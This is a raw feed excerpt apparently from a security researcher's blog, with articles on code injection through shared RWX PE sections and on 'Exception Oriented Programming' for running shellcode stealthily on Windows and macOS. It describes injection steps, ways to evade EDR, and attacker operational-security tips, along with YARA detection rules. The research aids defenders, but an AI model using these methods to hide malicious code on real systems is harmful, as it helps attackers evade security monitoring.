<!--kg-card-end: markdown--><h1 id="what-about-linux">What About Linux?</h1><p>We discussed how exception handling works on Windows and how we can weaponize structured exception handling to gain code execution. However, we didn&apos;t touch on how other operating systems like Linux are impacted by the same theory.</p><p>A few weeks ago, academic researchers from Vrije Universiteit Amsterdam and the University of California, Santa Barbara, released a paper titled, &quot;<em><a href="https://download.vusec.net/papers/chop_ndss23.pdf">Let Me Unwind That For You: Exceptions to Backward-Edge Protection</a></em>&quot;. Their paper complements this article exceptionally well as they investigated how an attacker can abuse the unwinding process, but with a strong Linux and C++ focus.</p><p>If you enjoyed this article, I strongly encourage you to check out their work.</p><h1 id="tools">Tools</h1><p>To access the tools and proof-of-concept mentioned in this article, please visit the <a href="https://github.com/D4stiny/ExceptionOrientedProgramming">Exception Oriented Programming repository</a>.</p><h1 id="conclusion">Conclusion</h1><p>In this article, we explored how an attacker can abuse fundamental weaknesses in the design of structured exception handling on Windows in the context of stack-based attacks. We started with the trivial approach to bypassing security cookies by triggering an exception into a handler that would return to our target. We investigated how although the MSVC compiler has mitigated this attack for fifteen years, much of the Windows ecosystem is still unprotected.</p><p>Next, we dove deep into the internals of the unwinding process on Windows, discovering how the unwind operations of legitimate functions can be weaponized by attackers to corrupt the state of an application. Finally, we discussed how Exception Oriented Programming is a compelling alternative to ROP when it comes to newer system mitigations such as hardware-enforced stack protection.</p><p>In our last section, we abused edge cases to achieve the modern-day equivalent of an SEH hijacking attack. We weaponized collided unwinds to gain code execution with strict hardware-enforced stack protection and control flow guard enabled.</p><p>I look forward to seeing if we can implement mitigations against these attacks in other compilers (and operating systems). There is quite a lot of opportunity to limit the attack surface currently exposed by the unwinding process, and I look forward to working with the broader compiler development community to see what can be done.</p><p>I hope you enjoyed reading this article as much as I enjoyed writing it. We covered a significant amount, and I appreciate those that stuck around.</p>]]></content:encoded></item><item><title><![CDATA[Sharing is Caring: Abusing Shared Sections for Code Injection]]></title><description><![CDATA[In this article, we will explore how to abuse certain quirks of PE Sections to place arbitrary shellcode into the memory of a remote process without requiring direct process access.]]></description><link>https://billdemirkapi.me/sharing-is-caring-abusing-shared-sections-for-code-injection/</link><guid isPermaLink="false">61da2c7aa39fe110b6ef5d19</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Mon, 04 Apr 2022 16:00:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2022/04/sharing_is_caring.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2022/04/sharing_is_caring.png" alt="Sharing is Caring: Abusing Shared Sections for Code Injection"><p>Moving laterally across processes is a common technique seen in malware in order to spread across a system. In recent years, Microsoft has moved towards adding security telemetry to combat this threat through the <a href="https://undev.ninja/introduction-to-threat-intelligence-etw/">&quot;Microsoft-Windows-Threat-Intelligence&quot; ETW provider</a>.</p><p>This increased telemetry alongside existing methods such as <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-obregistercallbacks">ObRegisterCallbacks</a> has made it difficult to move laterally without exposing malicious operations to kernel-visible telemetry. In this article, we will explore how to abuse certain quirks of PE Sections to place arbitrary shellcode into the memory of a remote process without requiring direct process access.</p><h1 id="background">Background</h1><p>Existing methods of moving laterally often involve dangerous API calls such as OpenProcess to gain a process handle accompanied by memory-related operations such as VirtualAlloc, VirtualProtect, or WriteProcessMemory. In recent years, the detection surface for these operations has increased.</p><p>For example, on older versions of Windows, one of the only cross-process API calls that kernel drivers had documented visibility into was the creation of process and thread handles via ObRegisterCallbacks.</p><p>The visibility introduced by Microsoft&#x2019;s threat intelligence ETW provider has expanded to cover operations such as:</p><ol><li>Read/Write virtual memory calls (<code>EtwTiLogReadWriteVm</code>).</li><li>Allocation of executable memory (<code>EtwTiLogAllocExecVm</code>).</li><li>Changing the protection of memory to executable (<code>EtwTiLogProtectExecVm</code>).</li><li>Mapping an executable section (<code>EtwTiLogMapExecView</code>).</li></ol><p>Other methods of entering the context of another process typically come with other detection vectors. For example, another method of moving laterally may involve disk-based attacks such as <a href="https://dl.packetstormsecurity.net/papers/win/intercept_apis_dll_redirection.pdf">Proxy Dll Injection</a>. The problem with these sort-of attacks is that they often require writing malicious code to disk which is visible to kernel-based defensive solutions.</p><p>Since these visible operations are required by known methods of cross-process movement, one must start looking beyond existing methods for staying ahead of telemetry available to defenders.</p><h1 id="discovery">Discovery</h1><p>Recently I was investigating the extents you could corrupt a <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format">Portable Executable</a> (PE) binary without impacting its usability. For example, could you corrupt a known malicious tool such as <a href="https://github.com/gentilkiwi/mimikatz">Mimikatz</a> to an extent that wouldn&apos;t impact its operability but would break the image parsers built into anti-virus software?</p><p>Similar to ELF executables in Linux, Windows PE images are made up of &quot;sections&quot;. For example, code is typically stored in a section called <code>.text</code>, mutable data can be found in <code>.data</code>, and read-only data is generally in <code>.rdata</code>. How does the operating system know what sections contain code or should be writable? Each section has &quot;characteristics&quot; which defines how they are allocated.</p><p>There are over 35 <a href="https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#section-flags">documented</a> characteristics for PE sections. The most common include <code>IMAGE_SCN_MEM_EXECUTE</code>, <code>IMAGE_SCN_MEM_READ</code>, and <code>IMAGE_SCN_MEM_WRITE</code> which define if a section should be executable, readable, and/or writeable. These only represent a small fraction of the possibilities for PE sections however.</p><p>When attempting to corrupt the PE section header, one specific flag caught my eye:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2022/04/image.png" class="kg-image" alt="Sharing is Caring: Abusing Shared Sections for Code Injection" loading="lazy" width="906" height="224" srcset="https://billdemirkapi.me/content/images/size/w600/2022/04/image.png 600w, https://billdemirkapi.me/content/images/2022/04/image.png 906w" sizes="(min-width: 720px) 720px"><figcaption>&quot;IMAGE_SCN_MEM_SHARED&quot; characteristic</figcaption></figure><p>According to Microsoft&apos;s documentation, the <code>IMAGE_SCN_MEM_SHARED</code> flag means that &quot;the section can be shared in memory&quot;. What does this exactly mean? There isn&apos;t much documentation on the use of this flag online, but it turned out that if this flag is enabled, that section&apos;s memory <strong>is shared across all processes that have the image loaded</strong>. For example, if process A and B load a PE image with a section that is &quot;shared&quot; (and writable), any changes in the memory of that section in process A will be reflected in process B.</p><p>Some research relevant to the theory we will discuss in this article is <a href="https://code.google.com/archive/p/dll-shared-sections/downloads"><strong>DLL shared sections: a ghost of the past</strong></a> by <a href="https://twitter.com/gynvael">Gynvael Coldwind</a>. In his paper, Coldwind explored the potential vulnerabilities posed by binaries with PE sections that had the <code>IMAGE_SCN_MEM_SHARED</code> characteristic.</p><p>Coldwind explained that the risk posed by these PE images &quot;is an old and well-known security problem&quot; with a reference to an article from Microsoft published in 2004 titled <em><a href="https://devblogs.microsoft.com/oldnewthing/20040804-00/?p=38253">Why shared sections are a security hole</a></em>. The paper only focused on the threat posed by &quot;Read/write shared sections&quot; and &quot;Read/only shared sections&quot; without addressing a third option, &quot;Read/write/<em><strong>execute </strong></em>shared sections&quot;.</p><h1 id="exploiting-shared-sections">Exploiting Shared Sections</h1><p>Although the general risk of shared sections has been known by researchers and Microsoft themselves for quite some time, there has not been significant investigation to the potential abuse of shared sections that are readable, writable, <em>and </em>executable (RWX-S).</p><p>There is great offensive potential for RWX-S binaries because if you can cause a remote process to load an RWX-S binary of your choice, you now have an executable memory page in the remote process that can be modified without being visible to kernel-based defensive solutions. To inject code, an attacker could load an RWX-S binary into their process, edit the section with whatever malicious code they want in memory, load the RWX-S binary into the remote process, and the changes in their own process would be reflected in the victim process as well.</p><p>The action of loading the RWX-S binary itself would still be visible to defensive solutions, but as we will discuss in a later section, there are plenty of options for legitimate RWX-S binaries that are used outside of a malicious context.</p><p>There are a few noteworthy comments about using this technique:</p><ol><li>An attacker must be able to load an RWX-S binary into the remote process. This binary does not need to contain any malicious code other than a PE section that is RWX-S.</li><li>If the RWX-S binary is x86, LoadLibrary calls inside of an x64 process will fail. x86 binaries can still be manually mapped inside x64 processes by opening the file, creating a section with the attribute <code>SEC_IMAGE</code>, and mapping a view of the section.</li><li>RWX-S binaries are not shared across sessions. RWX-S binaries <em>are </em>shared by unprivileged <strong>and </strong>privileged processes in the same session.</li><li>Modifications to shared sections are <em>not </em>written to disk. For example, the buffer returned by both ReadFile and mapping the image with the attribute <code>SEC_COMMIT</code> do not contain any modifications on the shared section. Only when the binary is mapped as <code>SEC_IMAGE</code> will these changes be present. This also means that any modifications to the shared section will not break the authenticode signature on disk.</li><li>Unless the used RWX-S binary has its entrypoint inside of the shared executable section, an attacker must be able to cause execution at an arbitrary address in the remote process. This does not require direct process access. For example, <a href="https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa">SetWindowsHookEx</a> could be used to execute an arbitrary pointer in a module without direct process access.</li></ol><p>In the next sections, we will cover practical implementations for this theory and the prevalence of RWX-S host binaries in the wild.</p><h1 id="patching-entrypoint-to-gain-execution">Patching Entrypoint to Gain Execution</h1><p>In certain cases, the requirement for an attacker to be able to execute an arbitrary pointer in the remote process can be bypassed.</p><p>If the RWX-S host binary has its entrypoint located <em>inside </em>of an RWX-S section, then an attacker does not need a special execution method.</p><p>Instead, before loading the RWX-S host binary into the remote process, an attacker can patch the memory located at the image&apos;s entrypoint to represent any arbitrary shellcode to be executed. When the victim process loads the RWX-S host binary and attempts to execute the entrypoint, the attacker&apos;s shellcode will be executed instead.</p><h1 id="finding-rwx-s-binaries-in-the-wild">Finding RWX-S Binaries In-the-Wild</h1><p>One of the questions that this research attempts to address is &quot;How widespread is the RWX-S threat?&quot;. For determining the prevalence of the technique, I used <a href="https://support.virustotal.com/hc/en-us/articles/360001293377-Retrohunt">VirusTotal&apos;s Retrohunt</a> functionality which allows users to &quot;scan all the files sent to VirusTotal in the past 12 months with ... YARA rules&quot;.</p><p>For detecting <em>unsigned</em> RWX-S binaries in-the-wild, a custom YARA rule was created that checks for an RWX-S section in the PE image:</p><pre><code class="language-YARA">import &quot;pe&quot;

rule RWX_S_Search
{
	meta:
		description = &quot;Detects RWX-S binaries.&quot;
		author = &quot;Bill Demirkapi&quot;
	condition:
		for any i in (0..pe.number_of_sections - 1): (
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_READ) and
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_EXECUTE) and
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_WRITE) and
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_SHARED) )
}</code></pre><p>All this rule does is enumerate a binaries&apos; PE sections and checks if it is readable, writable, executable, and shared.</p><p>When this rule was searched via Retrohunt, over 10,000 unsigned binaries were found (Retrohunt stops searching beyond 10,000 results).</p><p>When this rule was searched again with a slight modification to check that the PE image is for the <code>MACHINE_AMD64</code> machine type, there were only 99 x64 RWX-S binaries.</p><p>This suggests that RWX-S binaries for x64 machines have been relatively uncommon for the past 12 months and indicates that defensive solutions may be able to filter for RWX-S binaries without significant noise on protected machines.</p><p>In order to detect <em>signed </em>RWX-S binaries, the YARA rule above was slightly modified to contain a check for authenticode signatures.</p><pre><code class="language-YARA">import &quot;pe&quot;

rule RWX_S_Signed_Search
{
	meta:
		description = &quot;Detects RWX-S signed binaries. This only verifies that the image contains a signature, not that it is valid.&quot;
		author = &quot;Bill Demirkapi&quot;
	condition:
		for any i in (0..pe.number_of_sections - 1): (
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_READ) and
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_EXECUTE) and
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_WRITE) and
			(pe.sections[i].characteristics &amp; pe.SECTION_MEM_SHARED) )
		and pe.number_of_signatures &gt; 0
}</code></pre><p>Unfortunately with YARA rules, there is not an easy way to determine if a PE image contains an authenticode signature that has a valid certificate that has not expired or was signed with a valid timestamp during the certificate&apos;s life. This means that the YARA rule above will contain some false positives of binaries with invalid signatures. Since there were false positives, the rule above did not immediately provide a list of RWX-S binaries that have a valid authenticode signature. To extract signed binaries, a simple Python script was written that downloaded each sample below a detection threshold and verified the signature of each binary.</p><p>After this processing, approximately 15 unique binaries with valid authenticode signatures were found. As seen with unsigned binaries, <em>signed </em>RWX-S binaries are not significantly common in-the-wild for the past 12 months. Additionally, only 5 of the 15 unique signed binaries are for x64 machines. It is important to note that while this number may seem low, signed binaries are only a convenience and are certainly not required in most situations.</p><h1 id="abusing-unsigned-rwx-s-binaries">Abusing Unsigned RWX-S Binaries</h1><h2 id="patching-unsigned-binaries">Patching Unsigned Binaries</h2><p>Given that mitigations such as <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/device-guard/introduction-to-device-guard-virtualization-based-security-and-windows-defender-application-control">User-Mode Code Integrity</a> have not experienced widespread adoption, patching existing unsigned binaries still remains a viable method.</p><p>To abuse RWX-S sections with unsigned binaries, an attacker could:</p><ol><li>Find a legitimate host unsigned DLL to patch.</li><li>Read the unsigned DLL into memory and patch a section&apos;s characteristics to be readable, writable, executable, and shared.</li><li>Write this new patched RWX-S host binary somewhere on disk before using it.</li></ol><p>Here are a few suggestions for maintaining operational security:</p><ol><li>It is recommended that an attacker does not patch an existing binary on disk. For example, if an attacker only modified the section characteristics of an existing binary and wrote this patch to the same path on disk, defensive solutions could detect that an RWX-S patch was applied to that existing file. Therefore, it is recommended that patched binaries be written to a different location on disk.</li><li>It is recommended that an attacker add other patches besides just RWX-S. This can be modifying other meaningless properties around the section&apos;s characteristics or modifying random parts of the code (it is important that these changes do not appear malicious). This is to make it harder to differentiate when an attacker has specifically applied an RWX-S patch on a binary.</li></ol><h2 id="using-existing-unsigned-binaries">Using Existing Unsigned Binaries</h2><p>Creating a custom patched binary is not required. For example, using the YARA rule in the previous section, an attacker could use any of the existing unsigned RWX-S binaries that may be used in legitimate applications.</p><h1 id="abusing-signed-rwx-s-binaries-in-the-kernel">Abusing Signed RWX-S Binaries in the Kernel</h1><p>Although there were only 15 signed RWX-S binaries discovered in the past 12 months, the fact that they have a valid authenticode signature can be useful during exploitation of processes that may require signed modules.</p><p>One interesting signed RWX-S binary that the search revealed was a signed driver. When attempting to test if shared sections are replicated from user-mode to kernel-mode, it was revealed that the memory is not shared, even when the image is mapped and modified by a process in Session 0.</p><h1 id="conclusion">Conclusion</h1><p>Although the rarity of shared sections presents a unique opportunity for defenders to obtain high-fidelity telemetry, RWX-S binaries still serve as a powerful method that break common assumptions regarding cross-process memory allocation and execution. The primary challenge for defenders around this technique is its prevalence in unsigned code. It may be relatively simple to detect RWX-S binaries, but how do you tell if it is used in a legitimate application?</p>]]></content:encoded></item><item><title><![CDATA[Abusing Exceptions for Code Execution, Part 1]]></title><description><![CDATA[<p>A common offensive technique used by operators and malware developers alike has been to execute malicious code at runtime to avoid static detection. Often, methods of achieving runtime execution have focused on placing arbitrary code into executable memory that can then be executed.</p><p>In this article, we will explore a</p>]]></description><link>https://billdemirkapi.me/exception-oriented-programming-abusing-exceptions-for-code-execution-part-1/</link><guid isPermaLink="false">61da2f5da39fe110b6ef5da9</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Mon, 14 Feb 2022 20:11:41 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2022/02/exception_oriented_programming_part1.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2022/02/exception_oriented_programming_part1.png" alt="Abusing Exceptions for Code Execution, Part 1"><p>A common offensive technique used by operators and malware developers alike has been to execute malicious code at runtime to avoid static detection. Often, methods of achieving runtime execution have focused on placing arbitrary code into executable memory that can then be executed.</p><p>In this article, we will explore a new approach to executing runtime code that does not rely on finding executable regions of memory, but instead relies on abusing existing trusted memory to execute arbitrary code.</p><h1 id="background">Background</h1><p>Some common methods of runtime execution include:</p><ol><li>Allocating executable memory at runtime.</li><li>Abusing Windows Section objects.</li><li>Abusing existing RWX (read/write/execute) regions of memory allocated by legitimate code.</li><li>Loading legitimate binaries that include an RWX PE section that can be overwritten.</li></ol><p>One common pattern in all these methods is that they have always had a heavy focus on placing arbitrary shellcode in executable regions of memory. Another technique that has not seen significant adoption in the malware community due to its technical complexity is Return-Oriented Programming (ROP).</p><p>As a brief summary, ROP is a common technique seen in memory corruption exploits where an attacker searches for &#x201C;snippets of code&#x201D; (gadgets) inside binaries that perform a desired instruction and soon after return to the caller. These &#x201C;gadgets&#x201D; can then be used in a chain to perform small operations that add up to a larger goal.</p><p>Although typically used for memory corruption exploits, there has been limited use in environments where attackers already have code execution. For example, in the Video Game Hacking industry, there have been <a href="https://github.com/Speedi13/ROP-COMPILER">open-source projects</a> that allow cheaters to abuse ROP gadgets to execute simplified shellcode for the purposes of gaining an unfair advantage in a video game.</p><p>The greatest limitation with ROP for runtime execution however is that the instruction set of potential gadgets can be extremely limited and thus is challenging to port complex shellcode to.</p><p>As an attacker that already has execution in an environment, ROP is an inefficient method of performing arbitrary operations at runtime. For example, assume you are given the following assembly located in a legitimate binary:</p><pre><code class="language-assembly">imul eax, edx
add eax, edx
ret</code></pre><p>Using ROP, an attacker could only abuse the <code>add eax, edx</code> instruction because any previous instructions are not followed by a return instruction.</p><p>On a broader scale, although legitimate binaries are filled with a variety of different instructions performing all-kinds of operations, the limitations of ROP prevent an attacker from using most of these legitimate instructions.</p><p>Continuing the example assembly provided, the reason an attacker could not abuse the initial <code>imul eax, edx</code> instruction without corrupting their output is because as soon as the <code>imul</code> instruction is executed, the execution flow of the program would simply continue to the next <code>add eax, edx</code> instruction.</p><h1 id="theory-runtime-obfuscation">Theory: Runtime Obfuscation</h1><p>I propose a new method of abusing legitimate instructions already present in trusted code, <strong>Exception Oriented Programming</strong>. Exception Oriented Programming is the theory of chaining together instructions present in legitimate code and &#x201C;stepping over&#x201D; these instructions one-by-one using a single step exception to simulate the execution of arbitrary shellcode.</p><p>As a general method, the steps to performing Exception Oriented Programming given arbitrary shellcode are:</p><ol><li>Setup the environment such that the program can intercept single step exceptions.</li><li>Split each assembly instruction in the arbitrary shellcode into their respective assembled bytes.</li><li>For each instruction, find an instance of the assembled bytes present in any legitimate module and store the memory location of these legitimate instructions.</li><li>Execute any code that will cause an exception that the exception handler created in Step 1 can intercept. This can be as simple as performing a call instruction on an <code>int3</code> (0xCC) instruction.</li><li>In the exception handler, set the single step flag and set the instruction pointer register to the location of the next legitimate instruction for that shellcode.</li><li>Repeat Step 5 until all instructions of the shellcode are executed.</li></ol><p>The largest benefit to this method is that Exception Oriented Programming has significantly less requirements than Return Oriented Programming for an attacker that already has execution capabilities.</p><p>Next, we will cover some practical implementations of this theory. Although the implementations you will see are operating system specific, the theory itself is not restricted to one operating system. Additionally, implementation suggestions will stick strictly to documented methods, however it may be possible to implement the theory via undocumented methods such as directly hooking <code><a href="https://doar-e.github.io/blog/2013/10/12/having-a-look-at-the-windows-userkernel-exceptions-dispatcher">ntdll!KiUserExceptionDispatcher</a></code>.</p><h1 id="vectored-exception-handlers">Vectored Exception Handlers</h1><p>In this section, we will explore how to use <a href="https://docs.microsoft.com/en-us/windows/win32/debug/vectored-exception-handling">Vectored Exception Handlers</a> (VEH) to implement the EOP theory. Vectored Exception Handlers are an extension to Structured Exception Handling on Windows and are not frame-based. VEH will be called for unhandled exceptions regardless of the exception&apos;s location.</p><p>The flow for the preparation stage of this implementation is as follows:</p><ol><li>The application will register a VEH via the <code>AddVectoredExceptionHandler</code> Windows API.</li><li>The application will split each instruction of the given shellcode using any disassembler. For the example proof-of-concept, we will use the <a href="https://github.com/zyantific/zydis">Zydis disassembler library</a>.</li><li>For each split instruction, the application will attempt to find an instance of that instruction present in the executable memory of any loaded modules. These memory locations will be stored for later use by the exception handler.</li><li>The application will finish preparing by finding any instance of an <code>int3</code> instruction (a single 0xCC byte). This instruction will be stored for use by the exception handler and is returned to the caller which will invoke the arbitrary shellcode.</li></ol><p>Once the necessary memory locations have been found, the caller can invoke the arbitrary shellcode by executing the <code>int3</code> instruction that was returned to them.</p><!--kg-card-begin: markdown--><ol>
<li>Once the caller has invoked the int3 instruction, the exception handler will be called with the code <code>STATUS_BREAKPOINT</code>. The exception handler should determine if this exception is for executing arbitrary shellcode by comparing the exception address with the previously stored location of the <code>int3</code> instruction.</li>
<li>If the breakpoint is indeed for the arbitrary shellcode, then the exception handler should:
<ol>
<li>Retrieve the list of legitimate instructions needed to simulate the arbitrary shellcode.</li>
<li>Store these instructions in thread-local storage.</li>
<li>Set the instruction pointer to the first legitimate instruction to execute.</li>
<li>Set the <a href="https://en.wikipedia.org/wiki/Trap_flag">Trap flag</a> on the FLAGS register.</li>
<li>Continue execution.</li>
</ol>
</li>
<li>The rest of the instructions will cause a <code>STATUS_SINGLE_STEP</code> exception. In these cases, the exception handler should:
<ol>
<li>Retrieve the list of legitimate instructions to execute from the thread-local storage.</li>
<li>Set the instruction pointer to the next legitimate instruction&apos;s memory location.</li>
<li>If this instruction is <em>not</em> the last instruction to execute, set the Trap flag on the FLAGS register. Otherwise, do <em>not</em> set the Trap flag.</li>
<li>Continue execution.</li>
</ol>
</li>
</ol>
<!--kg-card-end: markdown--><p>Assuming the shellcode ends with a return instruction, eventually the execution flow will be gracefully returned to the caller. A source code sample of Exception Oriented Programming through Vectored Exception Handlers is provided in a later section.</p><h1 id="structured-exception-handlers">Structured Exception Handlers</h1><p>Although Vectored Exception Handlers are great, they&apos;re not exactly stealthy. For example, an anti-virus could use user-mode hooks to detect when vectored exception handlers are registered. Obviously there are plenty of ways to bypass such mitigations, but if there are stealthier alternatives, why not give them a try?</p><p>One potential path I wanted to investigate for Exception Oriented Programming was using generic <a href="https://docs.microsoft.com/en-us/cpp/cpp/structured-exception-handling-c-cpp">Structured Exception Handling</a> (SEH). Given that VEH itself is an extension to SEH, why wouldn&apos;t frame-based SEH work too? Before we can dive into implementing Exception Oriented Programming with SEH, it&apos;s important to understand how SEH works.</p><pre><code class="language-C++">void my_bad_code() {
    __try {
        __int3;
    } __except(EXCEPTION_EXECUTE_HANDLER) {
    	printf(&quot;Exception handler called!&quot;);
    }
}</code></pre><p>Let&apos;s say you surround some code with a try/except SEH block. When an exception occurs in that code, how does the application know what exception handler to invoke?</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2022/02/image.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 1" loading="lazy" width="586" height="412"><figcaption>Exception Directory of ntdll.dll</figcaption></figure><p>Nowadays SEH exception handling information is compiled into the binary, specifically the exception directory, detailing what regions of code are protected by an exception handler. When an exception occurs, this table is enumerated during an &quot;<a href="https://docs.microsoft.com/en-us/cpp/cpp/exceptions-and-stack-unwinding-in-cpp">unwinding process</a>&quot;, which checks if the code that caused the exception or any of the callers on the stack have an SEH exception handler.</p><p>An important principle of Exception Oriented Programming is that your exception handler must be able to catch exceptions in the legitimate code that is being abused. The problem with SEH? If a function is already protected by an SEH exception handler, then when an exception occurs, the exception may never reach the exception handler of the caller.</p><p>This presents a challenge for Exception Oriented Programming, how do you determine whether a given function is protected by an incompatible exception handler?</p><p>Fortunately, the mere presence of an exception handler does not mean a region of code cannot be used. Unless the function for some reason would create a single step exception during normal operation or the function has a &quot;catch all&quot; handler, we can still use code from many functions protected by an exception handler.</p><p>To determine if a region of memory is compatible with Exception Oriented Programing:</p><!--kg-card-begin: markdown--><ol>
<li>Determine if the region of memory is registered as protected in the module&apos;s exception directory. This can be achieved by directly parsing the module or by using the function <a href="https://docs.microsoft.com/en-us/windows/win32/api/winnt/nf-winnt-rtllookupfunctionentry">RtlLookupFunctionEntry</a>, which searches for the exception directory entry for a given address.</li>
<li>If the region of memory is not protected by an exception handler (aka RtlLookupFunctionEntry returns NULL), then you can use this region of memory with no problem.</li>
<li>If the region of memory is protected by an exception handler, you must verify that the exception handler will not corrupt the stack. During the unwinding process, functions with an exception handler can define &quot;<a href="https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64#struct-unwind_code">unwind operations</a>&quot; to help clean up the stack from changes in the function&apos;s prolog. This can in turn corrupt the call stack when an exception is being handled.
<ol>
<li>To avoid this problem, check if the unwind operations contains either the <a href="https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170#:~:text=codes%20except%20UWOP_PUSH_MACHFRAME.-,UWOP_ALLOC_LARGE,-(1)%202%20or">UWOP_ALLOC_LARGE</a> operation or the <a href="https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64?view=msvc-170#:~:text=to%204GB%20%2D%208.-,UWOP_ALLOC_SMALL,-(2)%201%20node">UWOP_ALLOC_SMALL</a> operation. These were found to cause direct corruption to the call stack during testing.</li>
</ol>
</li>
</ol>
<!--kg-card-end: markdown--><p>Once compatible instruction locations are found within legitimate modules, how do you actually perform the Exception Oriented Programming attack with SEH? It&apos;s surprisingly simple.</p><p>With SEH exception handling using a try except block, you can define both an exception filter and the handler itself. When an exception occurs in the protected try except block, the exception filter you define determines whether or not the exception should be passed to the handler itself. The filter is defined as a parameter to the __except block:</p><pre><code class="language-C++">void my_bad_code() {
    __try {
        __int3;
    } __except(MyExceptionFilter()) {
    	printf(&quot;Exception handler called!&quot;);
    }
}</code></pre><p>In the example above, the exception filter is the function MyExceptionFilter and the handler is the code that simply prints that it was called. When registering a vectored exception handler, the handler function must be of the prototype <code>typedef LONG(NTAPI* ExceptionHandler_t)(PEXCEPTION_POINTERS ExceptionInfo)</code>.</p><p>It turns out that the prototype for exception filters is actually compatible with the prototype above. What does this mean? We can reuse the same exception handler we wrote for the VEH implementation of Exception Oriented Programming by using it as an exception filter.</p><pre><code>void my_bad_code() {
    __try {
        __int3;
    } __except(VectoredExceptionHandler(GetExceptionInformation())) {
    	printf(&quot;Exception handler called!&quot;);
    }
}</code></pre><p>In the code above, the vectored exception handler is invoked using the <a href="https://docs.microsoft.com/en-us/windows/win32/debug/getexceptioninformation">GetExceptionInformation</a> macro, which provides the function the exception information structure it can both read and modify.</p><p>That&apos;s all that you need to do to get Exception Oriented Programming working with standard SEH! Besides ensuring that the instruction locations found are compatible, the vectored exception handler is directly compatible when used as an exception filter.</p><p>Why is standard SEH significantly better than using VEH for Exception Oriented Programming? SEH is built into the binary itself and is used legitimately <em>everywhere</em>. Unlike vectored exception handling, there is no global function to register your handler.</p><p>From the perspective of <em>static </em>detection, there are practically no indicators that a given SEH handler is used for Exception Oriented Programming. Although dynamic detection may be possible, it is significantly harder to implement compared to if you were using Vectored Exception Handlers.</p><h1 id="bypassing-the-macos-hardened-runtime">Bypassing the macOS Hardened Runtime</h1><p>Up to this point, the examples around abuse of the method have been largely around the Windows operating system. In this section, we will discuss how we can abuse Exception Oriented Programming to bypass security mitigations on macOS, specifically parts of the Hardened Runtime.</p><p>The <a href="https://developer.apple.com/documentation/security/hardened_runtime">macOS Hardened Runtime</a> is intended to provide &quot;runtime integrity of your software by preventing certain classes of exploits, like code injection, dynamically linked library (DLL) hijacking, and process memory space tampering&quot;.</p><p>One security mitigation imposed by the Hardened Runtime is the restriction of just-in-time (JIT) compilation. For app developers, these restrictions can be bypassed by adding entitlements to disable certain protections.</p><p>The <code>com.apple.security.cs.allow-jit</code> entitlement allows an application to allocate writable/executable (WX) pages by using the <code>MAP_JIT</code> flag. A second alternative, the <code>com.apple.security.cs.allow-unsigned-executable-memory</code> entitlement, allows the application to allocate WX pages without the need of the <code>MAP_JIT</code> flag. With Exception Oriented Programming however, an attacker can execute just-in-time shellcode without needing any entitlements.</p><p>The flow for the preparation stage of this implementation is as follows:</p><ol><li>The application will register a <code>SIGTRAP</code> signal handler using <code><a href="https://developer.apple.com/library/archive/documentation/System/Conceptual/ManPages_iPhoneOS/man2/sigaction.2.html">sigaction</a></code> and the <code>SA_SIGINFO</code> flag.</li><li>The application will split each instruction of the given shellcode using any disassembler. For the example proof-of-concept, we will use the Zydis disassembler library.</li><li>For each split instruction, the application will attempt to find an instance of that instruction present in the executable memory of any loaded modules. Executable memory regions can be recursively enumerated using the <a href="https://developer.apple.com/documentation/kernel/1402114-mach_vm_region_recurse"><code>mach_vm_region_recurse</code> function</a>. These memory locations will be stored for later use by the signal handler.</li><li>The application will finish preparing by finding any instance of an <code>int3</code> instruction (a single 0xCC byte). This instruction will be stored for use by the signal handler and is returned to the caller which will invoke the arbitrary shellcode.</li></ol><p>Once the necessary memory locations have been found, the caller can invoke the arbitrary shellcode by executing the <code>int3</code> instruction that was returned to them.</p><!--kg-card-begin: markdown--><ol>
<li>Once the caller has invoked the <code>int3</code> instruction, the signal handler will be called. The signal handler should determine if this exception is for executing arbitrary shellcode by comparing the fault address - 1 with the previously stored location of the <code>int3</code> instruction. One must be subtracted from the fault address because in the <code>SIGTRAP</code> signal handler, the fault address points to the instruction pointer whereas we need the instruction that caused the exception.</li>
<li>If the breakpoint is indeed for the arbitrary shellcode, then the signal handler should:
<ol>
<li>Retrieve the list of legitimate instructions needed to simulate the arbitrary shellcode.</li>
<li>Store these instructions in thread-local storage.</li>
<li>Set the instruction pointer to the first legitimate instruction to execute.</li>
<li>Set the Trap flag on the FLAGS register.</li>
<li>Continue execution.</li>
</ol>
</li>
<li>The rest of the instructions will call the signal handler, however, unlike Vectored Exception handlers, there is no error code passed differentiating a breakpoint and a single step exception. The signal handler can determine if the exception is for a legitimate instruction being executed by checking its thread-local storage for the previously set context. In these cases, the signal handler should:
<ol>
<li>Retrieve the list of legitimate instructions to execute from the thread-local storage.</li>
<li>Set the instruction pointer to the next legitimate instruction&apos;s memory location.</li>
<li>If this instruction is <em>not</em> the last instruction to execute, set the Trap flag on the FLAGS register. Otherwise, do <em>not</em> set the Trap flag.</li>
<li>Continue execution.</li>
</ol>
</li>
</ol>
